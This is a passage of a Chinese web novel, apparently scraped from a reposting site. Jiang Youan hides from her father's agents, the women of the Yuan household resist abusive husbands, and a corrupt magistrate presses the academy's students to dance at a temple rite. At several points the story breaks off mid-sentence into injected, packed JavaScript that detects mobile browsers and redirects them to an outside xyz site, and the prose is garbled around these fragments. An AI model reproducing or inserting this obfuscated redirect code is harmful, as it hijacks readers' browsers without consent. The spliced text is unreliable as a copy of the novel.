看着袁竹坚定的眼神,姜佑安的眼泪滚落下来,“我不想给你们带来麻烦。” “没关系的,我们是一家人,一家人就是要互相帮忙,这不是你一个人的事。”袁竹说道。 姜佑安吸了吸鼻子,含泪露出了一个微笑,“现在我有真正的家人了。” 袁竹也忍不住眼底泛红,“对,我们是一家人,大家都不想让你走,我们会一直生活在一起,没有人可以带走你。” “嗯。”姜佑安点了点头,抱着袁竹默默地流泪。 辛开元走到房间门口,见两个人相拥而泣,袁竹句句都是在安慰姜佑安,他不清楚情况,又不敢走进去打扰,忙退了出去,去叫了戴庭芳来。 戴庭芳正在书桌前准备明天上课的内容,听说姜佑安哭了,丢下笔,门都来不及关,就跑到了袁家。 戴庭芳气喘吁吁地来到袁竹的房门前时,却见姜佑安正在和袁竹对坐喝茶,他和辛开元疑惑地对视了一眼,敲了敲房门。 “戴老师,你怎么来了?”姜佑安回过头来,笑着跟戴庭芳打招呼,戴庭芳看着她红红的眼睛,确认她是真的哭过。 “我听辛老师说你出事了,就赶紧过来看看。”戴庭芳说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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戴庭芳被姜佑安的一番话说得满脸通红,他放开姜佑安的嘴唇,看着她的眼睛,“那袁竹为什么说你以后不到我那里去了?” 姜佑安染上情欲的眼睛瞬间清醒,向戴庭芳解释道:“我的行踪好像暴露了,也许我爹的人很快就会找过来。” “什么?”戴庭芳吃了一惊,“你的行踪暴露给谁了?你怎么知道的?” “你还记得昨天贺礼中多出来的那两件衣服吧。”姜佑安说道。 戴庭芳点了点头,“记得。” “我第一次打开看的时候,就觉得那衣服的尺寸不像是送给袁竹的,倒跟我的身量差不多,今天我拿着衣服去了龙世蓉那里,龙世蓉说衣服不是她的。在她的侍女的提醒下,我才想起来,那两件衣服,可能是我以前的旧物。”姜佑安说道。 “那衣服是你的?”戴庭芳更加吃惊,“是有人特意给你送过来的?” “是不是我的衣服,我不能确定,不过,可以肯定的是,那衣服和我爹有关。”姜佑安说道。 戴庭芳十分不解,“你爹的人既然发现了你,为什么不直接上门?只送两件衣服过来,是什么目的?” “也许是威胁,也许是警告,也许是提醒,对方没有留下一字半句,我也不清楚这人的目的是什么,现在只能等了,等对方出现,说出诉求,一切就明了了。”姜佑安说道。 166. 寻人 “你是因为这个,才不到我那里去了?”戴庭芳问道。 “嗯。”姜佑安点了点头,“袁竹说,为了防止我爹的人突然出现把我绑回去,让我最近都住在这耳房里,不要出院门,万一有人找过来,她会把人赶走。” “袁老板的安排有道理,这里的高墙和院门要比我那里安全多了,你确实应该待在这里。”戴庭芳说道。 姜佑安笑了笑,环住了戴庭芳的腰,“要不你也住在这里陪我,怎么样?” “这里住的都是女人,我怎么好住进来。”戴庭芳说道。 “辛老师是男人,不也住进来了吗?”姜佑安说道。 “辛老师刚成亲,在这里温存几天,也可以理解,而且他入赘到袁家,就是袁家的人了,住在这里也无可厚非,我只是个外人而已。”戴庭芳说道。 “我是袁家人,你是袁家的女婿,也算是袁家人了,一样住得。”姜佑安笑着说道。 戴庭芳拥着姜佑安,语气中半是埋怨半是向往,“我们成亲之后,我才能算是袁家人,你得快点让我成为袁家人才是。” 姜佑安的手不安分地揉着戴庭芳的后腰,语气中带着些许暧昧,“名义上还不是,但身体上,不早就是了吗?” “又说这种话。”戴庭芳红着脸,推开了姜佑安,转身去把门闩上,拉着她来到了床边。 姜佑安一脸坏笑,“时间还早,戴老师这就要睡了?” “还不是你非要撩拨我。”戴庭芳让姜佑安坐在床边,给她脱了鞋,解了外衣,让她进被子里躺着。 姜佑安钻进了被子里,露出两只眼睛来,看着戴庭芳脱去外衣,爬上了床,钻进了被子里。 在戴庭芳抱着她,亲吻她的脖子的时候,姜佑安突然笑了起来,“戴老师,你这可是白日宣淫…” 戴庭芳捂上了她的嘴,“不许说!” 姜佑安一下一下地亲吻着戴庭芳的掌心,她轻柔的动作让戴庭芳心痒难耐,拿开手,低头吻了上去。 两人如此亲近,如此甜蜜,姜佑安很想哭,却又不想在这种时刻扫兴,于是想着一些乱七八糟的东西,转移自己的注意力,“一会儿…小阮就要来…催着…嗯…吃午饭了…” 也许是姜佑安的情绪透过亲吻传递了过来,戴庭芳也愈加不安起来,他紧紧抱着姜佑安,不肯放开,“不吃了…假装我们不在…” 姜佑安笑了,“你怎么…这么任性…” 戴庭芳抬起头来,看着姜佑安的眼睛,认真地说道:“我就是任性,就是爱吃醋,只有在你面前,我才能毫无顾忌地袒露我内心的想法,我不想离开你,也不想让你离开。” 姜佑安的鼻子酸酸的,正忍泪忍得辛苦,就看见戴庭芳的眼泪流出来,滴落在她的脖子上,凉凉的泪珠滑过皮肤,竟像是在灼烧着她的身体,让她呼出一阵热气。 “不要走,所有的一切,我们都一起面对,你不可以丢下我,千万不要自己离开。”戴庭芳眼里含着泪,嘴角带着微笑,手掌轻抚着姜佑安的脸,“我爱你,姜佑安。” 第一次听到戴庭芳热烈的表白,姜佑安感觉心头一热,搂着他的脖子,和他激情拥吻。 两个人的不安和怯懦都在互相的爱抚中释放,更加坚定了要守护彼此的心。 阮荷去敲门时,没有人应答,袁竹把她叫了过去,让她先吃饭,等姜佑安饿了,会自己出来找吃的。 午饭后,孩子们陆续去了学堂,袁家又安静了下来,姜佑安和戴庭芳在狭窄的床上相拥而眠,直到傍晚才打开房门。 厨房里正在蒸包子,说刚蒸好了一锅,让姜佑安尝尝,姜佑安拿了盘子给戴庭芳装了几个带回去吃,送戴庭芳出了二门,她自己则抓着热腾腾的包子去了袁竹的房间。 直等到晚饭时,还不见袁竹回来,姜佑安去找人问了,才知道袁竹今天晚上宿在辛开元那里,不回来了。 姜佑安心中一阵愤愤不平,凭什么自己要跟戴庭芳分居,袁竹却能和辛开元日夜相守,都怪她这该死的身份!都怪那两件莫名其妙出现的衣服! 早上看见袁竹意气风发地回来,姜佑安心里更生气了,等送衣服的人出现,一定要好好给他两巴掌! 吃过早饭,见天气晴好,袁竹去旁边院子里去看水仙花,姜佑安也要跟着一起去,被袁竹拒绝了,让她千万在家待着,不要乱跑。 姜佑安憋着一肚子气,自己去园子里逛了逛,冬季万物萧条,只有少数几种树没有落叶,但也如蒙了一层尘土一般,灰突突的,没什么精神,姜佑安越逛越觉得无聊,索性又回屋去睡了。 也不知是什么时辰,姜佑安醒了过来,听见外面闹哄哄的,又听不清在说在什么,不会是抓自己的人来了吧?她赶忙穿好衣服,穿上鞋子,小心地把门开了一条缝。 “听说是来找人的,袁竹不让进,在门口闹起来了。” “找谁的?” “不知道,咱们也去看看吧,别让袁竹吃了亏。” “行,我们也去帮忙。” 院子里做针线的女人把东西放在了椅子上,快步走了出去。 姜佑安见院子里的人一下子走空了,想找个人问问都不行,又不清楚外面的情况,怕自己出现,会让袁竹的努力前功尽弃,又怕自己不出现,会让袁竹受伤。 姜佑安在房间里急得团团转,还是想不到其他办法,一人做事一人当,就算自己被抓走,也不能让袁竹受伤!姜佑安推开门,走了出去。 刚穿过院子走到二门边,就被石倩看见,石倩跑过来,把姜佑安往里推,“袁老板说你不能出二门,快回去。” “袁竹没事吧。”姜佑安抓着石倩的胳膊,着急地问道。 石倩笑了笑,“没事,这都是小场面,袁老板能应付。” 看见石倩的笑脸,姜佑安觉得安心了许多,看来事情确实不严重,“来的人多不多?真的没有危险吗?” 石倩拖着姜佑安往里走,“不多,就俩大人带一个孩子。” 俩大人带一个孩子?姜佑安一时没转过弯来,“孩子?怎么会有孩子?” “就是小宝啊,你也见过的,袁家姐姐的孩子,你都忘了?”石倩说道。 姜佑安站定了双脚,“小宝?门口来找人的是谁?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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袁萱草发自真心地笑了出来,“怎么会?回去伺候他们,我一个铜板都拿不到,在这里,我做一顿饭有一顿饭的钱拿,做一朵绢花有一朵花的钱拿,等水仙花卖了,袁竹还要给我分钱,在这里能挣钱,我干活也觉得开心,要是还回去给他们白干活,我就是个傻子!” 袁竹觉得很欣慰,微笑着说道:“我这里钱给的也不多,你说得好像是赚了多少钱似的。” “不管赚多赚少,也比白干活强,他们还想把我弄回去做苦工,真把我当成蒙着眼睛干活的驴了。”袁萱草翻了个白眼,“做他的白日梦去吧!” 姜佑安觉得袁萱草翻白眼的神态简直和袁竹一模一样,不禁笑了起来,“你们俩真不愧是姐妹。” 袁萱草愣了一下,“我和袁竹,我们像吗?” “这种绝不回头的劲头,挺像的。”姜佑安说道。 袁萱草笑了起来,“吃了亏,为什么还要回头?” “徐洪愿爱管一些闲事,常帮县里的女人和离,那些女人离开夫家无处可去,我们就留她们在这里暂住,她们的丈夫就会带着孩子来,下跪嚎啕,求她们回去,有些女人见丈夫悔过了,孩子没娘也可怜,就跟着一起走了。”姜佑安说道。 “回去的女人,未必真的想离开,只是想闹一闹,让丈夫悔过,如果男人能改好,日子一样能过得下去。”袁萱草说道。 姜佑安微微一笑,眼睛里透着狡黠,“你觉得男人能变好?” 167. 献舞 “也许能,但我不感兴趣。”袁萱草喝了一口杯中的茶水,慢慢呼出一口气,“以前我觉得自己没得选,有这样的丈夫,这样的婆婆,就只能守着他们过一辈子,现在我知道可以不必那样委屈的活着,我就不想回去了,他能不能改好,对我来说一点都不重要。” “还是姐姐想得通透,那些选择回去的女人,有的挣扎了一段时间,还是离开了,有的继续被男人折磨,好不容易才被救出来,还有的被男人打死了,男人也入了狱,留下孩子孤苦无依,只有少数几个人,回去改了性子,镇住了夫家,才过得舒坦些。”姜佑安说道。 袁萱草摇了摇头,“她们就不该回去,在男人家里,房门一关,打老婆就是家事,要不是打死了、打残了,谁能来管?反正我是不会回去的,我还是住在这里安全。” “就是,打老婆的男人不值得原谅,姐你就在这住着,我跟娘都陪着你。”袁竹说道。 “刚才他们还说让我把我娘留在这里,要我自己跟他们回去,想得真美!”袁萱草冷笑一声,“觉得我娘是累赘,不让我养着我娘,还想让我回去伺候他们,算盘打得这么好,当别人都是傻子呢。” “我以为他们为了骗你回去,会只说好话,原来连这种话都说得出口,这样的人,确实没什么好犹豫的,袁家姐姐,为了他们伤心不值得,想要贴心的孩子,以后再生就是了。”姜佑安说道。 袁萱草垂下眼帘,叹了口气,“我只求能好好活着就行,我这么大岁数了,那还能再生孩子。” “姐姐不过三十出头,怎么不能生孩子?外面的男人,你用心物色着,看上了哪个,我们帮你去说亲。”姜佑安说道。 袁萱草脸红起来,“姜院长,你不要这样笑话我。” 姜佑安笑了起来,“当初是谁让我劝袁竹跟男人睡觉的?怎么到你自己身上,又害羞起来了?” “姐,你还跟佑安说过这种事?”袁竹吃惊地问道。 “我也是为你好,我脸皮薄,不好意思跟你直说,你又不可能自己一个人过一辈子,早点接受辛老师,对大家都好。”袁萱草说道。 “说得对,你们姐妹俩脸皮都薄,就让脸皮厚的我来说吧,姐姐,你也不可能一个人过一辈子吧,出去挑个男人,不也挺正常?”姜佑安笑着说道。 袁萱草一时语塞,想了一会儿,才说道:“我觉得一个人过一辈子可能不太行,因为人老了,总是需要人照顾的,就像我娘一样,不过在这里,有这么多孩子在,大家可以互相帮忙,不要男人,可能也行。” 袁竹点了点头,“本来就是,我们一起生活在这里,只要有孩子,袁家就能一直存在。” “等我多攒点儿钱,我就领养一个这里的孩子,当做是我亲生的一样把她养大。”袁萱草说道。 “领养就领养呗,还攒什么钱啊,这里没娘的孩子这么多,她们要是听说了,肯定都想当你的孩子。”姜佑安说道。 “说什么呢!什么没娘的孩子?她们都是我的孩子,我就是她们的娘。”袁竹反驳道。 姜佑安赶紧认错,“好好好,都是你的孩子,我说错话了,我道歉。” 袁萱草把茶杯放在桌上,站起身来,“娘差不多睡醒了,我回去看看,她要是醒了看不见我,又该着急了。” 袁竹也站起身来,“我陪你一起去,看看他们走了没。” 袁竹和袁萱草一起出了屋,过了一阵子,袁竹自己回来了。 “闹事的人都走了吗?”姜佑安问道。 袁竹在桌子另一边坐了,“都走了,我姐不愿意回去,他们再闹也没用。” “你姐看起来温良敦厚,我还以为她会心软呢。”姜佑安说道。 “我也以为她会为了孩子回去,刚才我去送她,她还问我会不会觉得她这个娘当得太狠心了,她可能心里还是在犹豫。”袁竹说道。 “女人就该狠心一点,为了自己肚子里掉出来的一块肉,委屈自己在男人家当牛做马一辈子,真是不值当。”姜佑安说道。 袁竹的脸上露出释然的笑,“是啊,我常为我娘和我姐感到不值,好在现在,她们终于不用伺候家里的男人了。” 姜佑安日日在袁家二门内待着,觉得无聊透顶,戴庭芳常来看她,陪她说话解闷。 但每日看着箫悦笙潇洒出门去,姜佑安羡慕得不行,想骑马,想射箭,想在烈烈风中尽情驰骋,但袁竹不答应,戴庭芳只能陪着姜佑安去园子里射箭,疏解一下她烦闷的心情。 转眼到了十一月中旬,书院已经放年假了,送锦衣的人还是没有露面,姜佑安失去了耐心,也许之前的猜想都是误解,那两件衣服只是主人不小心遗落在那里的,并不是专程要送给她的。 姜佑安不想再在家里待着了,她要出门走走,最好能痛快地跑一跑,她不顾袁竹的阻拦,冲出了院门,没跑出去几步,就看见一辆马车停在了大路上。 一个少男从马车上下来,向姜佑安行了一礼,问道:“请问姜佑安姜院长是住在这里吗?” 姜佑安见是陌生人打听自己,忙向后退了两步,警觉地问道:“你是谁?找姜院长做什么?” 袁竹和石倩跟着跑了出来,把姜佑安挡在身后,袁竹向少男问道:“你找谁?来这里干什么?” “我家主人有要事须同姜院长商谈,请问姜院长在吗?”少男问道。 “你先回去。”袁竹推了姜佑安一把,示意她回到院子里去,又向少男问道:“你家主人是谁?” 姜佑安担心少男的主人和自己以前的身份有什么牵扯,忙转身往院门走去。 “姜院长,莫着急走啊,我有事找你。”身后传来的声音有些熟悉,姜佑安一时想不起来是谁,转过身来,见是县丞吴思恭从马车的窗口内探出头来。 他脸上虽然是亲和的笑容,却还是让姜佑安感觉到来者不善,姜佑安走过去,勉强笑了笑,行礼道:“原来是吴县丞大驾光临,真是有失远迎。” 吴思恭被小厮搀扶着下了马车,满意地看着姜佑安谦恭的姿态,“不怪你,是我没有提前告知,就贸然登门,还请姜院长不要见怪才是。” “县丞大人客气了,不知您今日前来所为何事?”姜佑安问道。 袁竹见不是姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031177|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑安的家人寻来,放松了警惕,笑着说道:“县丞大人专门来一趟,肯定是有重要的事,进屋喝杯茶,慢慢说吧。” “袁家都是女眷,我进去不太方便,就在这里说吧。”吴思恭看向姜佑安,“知县大人初一要在城隍庙祭祀的事,你们都听说了吧。” “听说了,我和袁竹届时一定去。”姜佑安说道。 “知县大人觉得以往的祭祀内容过于单调,想要你在新年伊始,作为女子书院的院长带领学生们在祭祀典礼上为神明献舞,祈求新的一年风调雨顺、五谷丰登。”吴思恭说道。 “献舞?”袁竹担心地看向姜佑安。 姜佑安笑了笑,“知县大人把如此重任交给我,真是令我惶恐,只是书院是读书写字的地方,从没有练过什么舞,怕是要辜负知县大人的期望了。” “这个简单,我回去跟知县大人说一声,找个舞伎来教教你们不就好了。”吴思恭笑着说道。 “知县大人有所不知,现在书院已经放假,学生们都回家了,没有人可以跟着舞伎学习跳舞,既然有会跳的舞伎,不如就让舞伎去跳吧。”姜佑安说道。 吴思恭收敛了笑意,“那些个舞伎都是熟面孔了,知县大人看了觉得腻味,才特意让我来找你的,你这里住着这么多女人,只不过是让你出十几个二十个人给城隍大人跳跳舞,你还要推脱吗?” “不是我推脱,只是,我这里住的都是些小孩子,让她们学学识字,都难于登天,要想让她们上台表演,我怕会砸了场子,惹得城隍不高兴。”姜佑安说道。 “对啊,她们都是孩子,难管得很,就别让她们过去添乱了。”袁竹附和道。 “我听说你这里还收留了很多和离的女人,小孩子不能跳,大人总可以吧。”吴思恭的目光看向了石倩,“你可以跳吧!” 石倩向后缩,躲在了姜佑安的身后,“我从没跳过舞,不会跳舞。” 姜佑安护在石倩身前,语气不卑不亢,“请县丞大人明鉴,我们袁家收留的都是良家妇女,且不说她们没有歌舞的底子,有人教也不一定能学会,就说现在这段时间直到过年,正是水仙花开的时候,袁家人都要忙着卖花去,实在没有时间练舞。” “这么说,你们是要拒绝知县大人?”吴思恭冷着脸问道。 “岂敢,知县大人敬重城隍神,要为神明献舞,祈求明年丰收,这是惠及百姓的好事,我等靠天吃饭的花农自然乐意参与,只是您来得晚了些,我们没时间准备,也实在抽不出人手来,相信城隍神知道我们忙于生计,也不会怪罪的。”姜佑安说道。 神明都不怪罪,他一个小小的县丞自然也不敢怪罪,吴思恭无话可讲,气冲冲地上了马车,回县城去了。 袁竹看着姜佑安的胳膊,佩服地称赞道:“还是你厉害,几句话就把他打发走了。” “对啊,姜院长真是厉害,我还以为真要去跳舞了呢。”石倩说道。 姜佑安淡淡一笑,“县丞是走了,不过,知县应该不会善罢甘休。” 不远处传来戴庭芳的声音,“刚刚马车上的是吴县丞?他过来干什么?” 168. 祭祀 姜佑安回过头,见戴庭芳和辛开元一同走了过来。 “他来传知县的话,说大年初一,让佑安带着学生去城隍庙给城隍跳舞。”袁竹说道。 “说是给城隍跳舞,实际就是给知县跳舞。”石倩说道。 “什么?!”戴庭芳听了大为吃惊,“知县作为父母官,怎么能让你们去给他跳舞?” 姜佑安满脸嫌弃,“就是因为传出去不好听,他才借了祭祀城隍的由头,这才上任多久,就嫌县里的舞伎看腻了,想看点新鲜的,真是让人恶心!” “上次敲诈了我们那么多银子,我以为这个新知县只是贪财,谁知道还这么好色!”辛开元生气地说道。 “真希望他赶紧被调走,这要是待的时间长了,大家都要遭殃。”袁竹说道。 “调到别的地方去,别的百姓也会遭殃。”姜佑安感叹道:“要是王知州还在就好了,想个办法把证据递上去,也算是有点希望。” “现任知州说不定也会管呢。”石倩说道。 “官官相护,我们对现任知州不了解,万一知州直接告诉了知县,只怕我们会被打压得更厉害。”辛开元说道。 “我也有这个考虑,怕会牵连到书院和袁家,才没有把他们收受贿赂的事捅出去,还以为以后能相安无事了,谁知道又要我们去跳舞。”姜佑安说道。 “他们真是……”戴庭芳气得停顿了一下,寻找着合适的词语,“狗官!” 没想到会从戴庭芳嘴里吐出狗官两个字,大家惊讶地看着他,随后都笑了起来。 “这回真是气着戴老师了。”石倩笑着说道。 姜佑安笑着拍了拍戴庭芳的胳膊,安慰道:“戴老师消消气,我已经拒绝了吴县丞了,水仙花要开了,我们忙着卖花还忙不过来呢,哪有时间去跳舞。” “蒋知县看起来不是大度的人,你拒绝了他,他怕是会记恨你。”辛开元说道。 “记恨就记恨吧,他提出这种无礼要求,我不可能答应,不过,为了应对知县和县丞,咱们还是得提前做好准备。”姜佑安说道。 “要做什么准备?”袁竹问道。 “过几天去县里卖花,大家注意多打听有关知县的消息,要是有什么他作恶的线索就过来告诉我,我去调查一番,知州不管,总有能管得了他的,我们不能放任他继续鱼肉百姓。”姜佑安说道。 戴庭芳担心地问道:“你想要上告?” “这可能会引火上身吧。”辛开元说道。 “对啊,佑安,你可不要冲动。”袁竹附和道。 石倩点了点头,向姜佑安劝道:“姜院长,这里离不开你,你千万要保护好自己啊。” 姜佑安觉得好笑,“比试还没开始,你们怎么就认定我会输?” “官和民,差距悬殊,没有高层官员的支持,这无异于以卵击石,赢的可能性太低了。”辛开元说道。 “我看未必。”姜佑安看向戴庭芳,“戴老师,你说呢?” “我支持你做的决定,但我也希望你能平安。”戴庭芳说道。 姜佑安想了想,“不如我找个机会,把知县给暗杀了如何?” 戴庭芳慌忙向大路上看了看,见没有其他人在,才对姜佑安责怪道:“你不要口不择言,杀害朝廷官员可是大罪!” 姜佑安并不十分在意,“要是真到了那一步,就是朝廷命官,我也非杀不可。” “现在还什么都没有,不用想那么远,都回去吧,别在大门口站着了。”袁竹说道。 “行,咱们都进去吧。”姜佑安牵上了戴庭芳的手,对袁竹说道:“去县里卖花的时候得小心些,咱们家人多,要是都去问,容易被人怀疑,让她们打听知县的事,不要问得那么直白。” “那要怎么问?”袁竹问道。 “就问问今年做生意有没有加税,有没有补税之类的吧,加税肯定不会只加你一个人,要是有补不上税的,说不定会闹出什么事来。”姜佑安说道。 “还可以说跟邻居有矛盾,想找讼师写份讼词,问问有没有人认识靠谱的讼师,顺便问问对方家里是出了什么事找的讼师,讼师近期接过什么案子。”辛开元说道。 几人一起进了院子,继续商量着卖水仙花和搜集证据的事。 吴思恭走后,袁竹虽然担心他会再过来找茬,但忙起来之后,也就把这件事抛到脑后了,直到卖完了水仙花,热热闹闹地过了大年,去参加初一祭祀的路上,才又不安起来。 辛开元和戴庭芳陪着她和姜佑安,一路上说着闲话,排解着焦虑的心情。 城隍庙里热闹极了,到处人挤人,蒋启连坐在高台之下的最前排,欣赏着歌舞,根本没有注意到姜佑安和袁竹,吴思恭在忙着跟商贾应酬,袁竹和姜佑安很讨厌他,也就没有往他跟前凑。 祭祀典礼结束后,姜佑安和袁竹去跟龙世蓉和许家莺打了声招呼,龙世蓉问起最近袁家有没有什么异常,姜佑安说没出什么事,大家又说了几句闲话,才出了城隍庙,各自回去了。 春节已过,天气慢慢回暖,姜佑安和袁竹带领众人,把很多花木移进了新园子里,在花田里种下一批新苗,又买了一些新品种的花苗回来,园子里的池塘里也种上荷花。 天暖了,路上行人多了,来到袁家买花木和绢花和人也多了起来,还有外地的商人专门来进货,大家制作的绢花供不应求,比以往卖给许家莺的价格要高了许多,冬天攒起来没卖的绢花和接踵而来的订单,让袁家大赚了一笔。 生意热闹起来,袁家吸引了不少人的目光,这其中就有知县和县丞,趁着春风和暖,蒋启连和吴思恭坐着马车来到袁家大门口。 袁竹不在,姜佑安把两人迎进了堂屋里,让他们在主座做了,又给两人倒了茶水。 姜佑安在客座坐了,微笑着问道:“知县大人和县丞大人今日光临寒舍,不知有何指教?” 吴思恭笑了笑,“指教谈不上,今天天气好,知县大人也想出来走动走动,城北人多,我们不想去那里凑热闹,就来了姜院长这里,没有提前知会姜院长一声,姜院长不会怪我们不知礼吧。” “二位大人大驾光临,是草民的荣幸,哪里说得上怪不怪,只可惜现在还是早春,花开得不多,我还怕败了两位大人的兴致呢。”姜佑安笑着说道。 蒋启连放下茶杯,悠悠然开了口,“这菊花茶是你们自制的?” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036239|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们这里没什么好的茶叶,只有去年剩下的菊花茶,给白水增增味儿,让大人见笑了。”姜佑安答道。 “吴县丞,这菊花茶不错,你尝尝。”蒋启连说道。 吴思恭马上尝了尝,连声夸赞,“确实不错,味道不苦涩,菊花香味很浓,咽下去之后,口中还有余香,这品质比咱们县衙里采买的,要好上许多。” “等到秋天,咱们县衙也备一些吧,知州大人要是来了,还能让他尝个新鲜。”蒋启连说道。 “是。”吴思恭答应道。 “既然两位大人喜欢,秋天我们制了新茶,一定送到县衙去,给两位大人品尝。”姜佑安说道。 蒋启连满意地点了点头,“听说你这里建了个新园子,我们能去看看吗?” “能。”姜佑安站起身来,“我带两位大人过去。” 姜佑安引着蒋启连和吴思恭出了院门,去了旁边的院子,进到了院子里。 “这园子去年冬天刚建好,花木才刚发芽,还看不出什么,等花开了才能好看些。”姜佑安说道。 蒋启连四处看了看,对园子的布局很满意,“这园子真不错,就是池塘边有点儿空,姜院长和袁老板把园子建起来,肯定花费不少吧。” “是不少,袁竹赚的钱都让我用来建园子了,要不去年官差大哥来募捐,我们也不会拿不出钱来。”姜佑安笑着说道。 “去年没钱,最近我看袁家生意可是很红火,我们清明祭祀,姜院长不会还拿不出钱来吧。”吴思恭说道。 姜佑安点了点头,附和道:“还真是拿不出来,我前些日子看池塘边有些空,打算在那里建个茶楼,卖卖茶水点心之类的,订金都已经付出去了。” “你要在这里卖茶水点心?”蒋启连问道。 “是,我们建这个园子,就是想开放给附近和县里的百姓,让大家春天来踏春,夏天来避暑,秋天来登高,这样我们也能顺便卖卖货。”姜佑安说道。 蒋启连笑了笑,脸上的肥肉挤成了一团,“百姓们有了游乐的新去处,这可是件好事,我们县里也会大力支持的,等你们什么时候对外开放,我们也帮你宣传宣传。” “那清明祭祀的事?”姜佑安试探着问道。 蒋启连手一挥,“不用你们出钱了。” 姜佑安笑了起来,“多谢知县大人!” 吴思恭向蒋启连使了个颜色,蒋启连会意,咳嗽了一声,“钱是不用你们出了,不过,还有一件事要麻烦姜院长。” 姜佑安预感不太妙,维持着表面微笑,谦恭地问道:“大人请讲。” “上次城隍庙的祭祀典礼上跳的舞,让我很不满意,清明祭祀,我让舞伎重新编排了舞蹈动作,这次就由女子学院的学生们学了,跳给城隍神,以表敬重和祈求,姜院长没有意见吧。”蒋启连笑着说道。 又是跳舞,姜佑安一听火气就上来了,却还是耐着性子向蒋启连解释道:“我这里的学生们都没有跳过舞,让她们跳给城隍神,怕是会惹城隍神不高兴。” “你就不怕我不高兴?”蒋启连板起脸来,眼睛里闪着冷酷的光,“这次学生们都在,我给你留的时间也充足,你还有什么借口推脱?” 169. 舞伎 “大人,我这里人多,要养活她们也不是容易的事,现在正是春天,绢花和鲜花的生意都不错,还请大人通融一下,让我们先解决了温饱的问题,再去跳舞。”姜佑安说道。 “没什么可通融的,明天我就让舞伎过来,你安排学生们跟舞伎一起学舞,清明节祭祀,我必须要看到你的学生们登台!”蒋启连一甩袖子,拖着沉重的身体,带着吴思恭向门口走去。 送走了蒋启连和吴思恭,姜佑安在院子里来回踱步,女人们凑过来,问她发生了什么事,姜佑安笑了笑,说什么事都没有,让大家各忙各的去。 中午袁竹和徐洪愿回来了,姜佑安跟袁竹说了今天知县和县丞来了的事,袁竹知县要学生们去跳舞的事很担心,姜佑安安慰她说这没什么,让她给自己一笔钱,先把园子里的茶楼建起来。 第二天,果然有官差带着一个舞伎来到了袁家,官差交代了一遍知县大人的要求,就离开了,姜佑安让舞伎留下来喝茶, “姑娘贵姓?”姜佑安问道。 “妾身贱籍无姓,姜院长叫我心柔就好。”心柔把一面鼓放在脚边,微笑着回道。 “心柔姑娘,你教我佑安就好。”姜佑安说道。 心柔依旧轻轻笑着,“这怎么能行,我还是叫您姜院长吧。” “怎么不行?不过是一个称呼而已。”姜佑安问道。 “姜院长是良籍,我是贱籍,仅此一项,便是天壤之别。”心柔答道。 “在外面也许有差别,但在我们袁家,你和我们一样都是女人,谁都不会因此看轻你的。”姜佑安说道。 心柔笑了笑,心中感念,面上却不曾流露分毫,“多谢姜院长。” “大年初一,城隍庙祭祀上的舞蹈,也是你编排的?”姜佑安问道。 “是。”心柔点了点头。 “知县大人对你们的舞蹈不满意?”姜佑安又问道。 “当天知县大人没说什么,最近才说要重新编排,还说要女子书院的学生们来跳。”心柔说道。 姜佑安喝了口茶,把杯子放回桌上,“心柔姑娘,从没跳过舞的学生,教起来肯定不容易吧。” “是,跳舞这种技艺,要是掌握不好,跳起来僵硬,跟不上节奏,很容易就能看出来,能不能教好,我也没有信心。”心柔说道。 “我的学生,只学过摔跤耍剑,跳起舞来,肯定会比较僵硬。”姜佑安看向心柔的眼睛,微笑着说道:“要是学生们学不会,知县大人不会怪罪你吧。” 心柔明白了姜佑安的意思,无奈地扯了扯嘴角,“这我不清楚,反正罚与不罚,都在知县大人的一念之间。” “以往,他罚过你们吗?”姜佑安问道。 “罚过。”心柔回答道。 “怎么罚的?罚得重吗?”姜佑安问道。 “或是挨打,或是不许吃饭,或是干重活,左不过是这些,我们也都习惯了。”心柔答道。 姜佑安有些犹豫,以前她听歌看舞取乐,从没想过这些歌舞乐伎过得是什么生活,如今面对一个身姿窈窕的姑娘,听着她平静地诉说自己可能受到的责罚,姜佑安很为她感到难过,心中十分不忍。 “要不我帮你逃跑吧。”姜佑安看着心柔,目光灼灼。 心柔感觉自己好像被姜佑安的目光烫了一下,心脏突然狂跳不止,逃跑?她可以逃跑吗?可以逃离现在的生活吗?可以重获自由吗? 内心的激荡如同水瓶摇晃,在瓶中水即将洒落之际,心柔用手摁住了瓶口,微笑着说道:“姜院长别开玩笑了,我如何能逃跑?我身在贱籍,无处可去。” “只要你想,我可以帮你,我初到此地之时,也是无籍之人,现在慢慢站稳了脚跟,村长就给我登记,做了本地人,我还认识一个身在贱籍的人,他跟着我生活,直到现在也没有任何人来追究,逃走之后换一个地方生活,就是新的人生,你也可以的。”姜佑安说道。 心柔的表情变得认真起来,“你说的都是真的?” 